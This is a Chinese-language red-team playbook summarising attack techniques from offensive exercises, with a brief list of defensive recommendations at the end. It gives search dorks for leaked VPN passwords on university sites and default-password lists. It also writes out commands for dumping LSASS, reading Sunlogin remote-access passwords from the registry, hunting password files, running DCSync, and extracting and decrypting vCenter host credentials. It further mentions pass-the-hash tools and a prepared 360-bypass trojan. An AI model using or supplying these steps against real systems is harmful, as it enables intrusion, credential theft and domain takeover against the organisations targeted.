攻防演练实战技术总结

0x01 外网打点

资产发现技术

1. 多测绘平台搜索：

   • Hunter(https://hunter.qianxin.com/)
   • Fofa(https://fofa.info/)
   • Quake(https://quake.360.cn/)

2. 多语法搜索技巧：

   domain="xxxx.com"  
   host="xxxx.com"  
   header="xxxx.com"  
   cert="xxxx.com"
   

敏感信息泄露挖掘

1. VPN账号挖掘：

   # Google语法
   site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码
   
   # GitHub搜索
   *.edu.cn password
   

2. 默认口令利用：

   • 常见默认账号：admin, administrator, root, user, test
   • 常见默认密码：admin, admin123, 123456, 123, test, root

常见漏洞利用

1. 批量漏洞利用工具：

   • AttackWebFrameworkTools-5.0
   • Fvuln
   • Serein

2. 框架类漏洞：

   • Log4j
   • Shiro
   • Struts2

3. OA系统漏洞：

   • 致远
   • 泛微
   • 用友
   • 蓝凌

0x02 内网渗透

初始权限获取

1. 杀软识别：

   tasklist /svc
   

2. Bypass 360防护：

   • 使用专门准备的bypass360马

隧道搭建技术

1. Frp反向代理：
   • 配置Proxifier连接内网

横向移动技术

1. 网段探测：

   • 使用netspy筛选可达网段

   https://github.com/shmilylty/netspy
   

2. 快速扫描：

   • 使用fscan扫描重点端口：22, 80, 443, 445, 1433, 8080

3. 密码复用攻击：

   • 使用超级弱口令工具进行爆破
   • 密码破解网站：
     • https://www.cmd5.com
     • https://www.somd5.com

4. PTH攻击：

   • wmiexec (135端口)
   • psexec (445端口)
   • evil-winrm (5985端口)

权限维持技术

1. 计划任务维权
2. 多机器控制保证入口不丢失

凭证获取技术

1. LOLBINS方法dump lssas：

   dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp
   

   • 位置：C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\

2. 向日葵密码读取：

   • 注册表读取：

     reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
     reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
     

   • 配置文件路径：
     • 安装版：C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
     • 便携版：C:\ProgramData\Oray\SunloginClient\config.ini

重点目标攻击

1. 运维机器：

   • 查找历史记录、密码本、拓扑图等
   • 快速收集命令：

     dir /a /s /b d:\" *.txt"
     dir /a /s /b d:\"* pass *"
     dir /a /s /b d:\"* login *"
     dir /a /s /b d:\"* user *"
     

2. 域控攻击：

   • 通过fscan扫描发现AD关键字
   • 域内主机DNS通常是域控地址
   • 确认端口：53和389
   • Dcsync攻击：

     net group "domain admins" /domain
     dcsync domain xxxx
     

3. Vcenter攻击：

   • 常见漏洞：
     • CVE-2021-22005-rce
     • CVE-2021-21972-rce
     • Log4j
   • 密码获取：

     # 获取vc用户密码
     cat /etc/vmware-vpx/vcdb.properties
     
     # 获取加密密码
     psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
     
     # 获取解密key
     cat /etc/vmware-vpx/ssl/symkey.dat
     
     # 使用工具解密
     python decrypt.py symkey.dat password.enc pass.txt
     

4. 云管平台攻击：

   • 通过数据库获取hash
   • 使用cmd5解密
   • 对于Bcrypt等不可逆加密，可采用hash替换方式登录

5. Gitlab仓库攻击：

   • 作为重大成果提交
   • 包含大量核心代码

关键工具列表

1. 资产测绘：Fofa, Hunter, Quake
2. 漏洞利用：
   • AttackWebFrameworkTools-5.0
   • Fvuln
   • Serein
3. 内网渗透：
   • netspy
   • fscan
4. 密码破解：
   • cmd5
   • somd5
5. 特殊工具：
   • Vcenter密码解密工具
   • 向日葵密码解密脚本

防御建议

1. 修改所有默认凭证
2. 限制VPN访问权限
3. 及时修补已知漏洞
4. 部署EDR等终端防护
5. 监控异常登录行为
6. 加强运维机防护
7. 定期更换重要系统密码
8. 限制域管账户使用范围
9. 更新Vcenter到安全版本
10. 加强代码仓库访问控制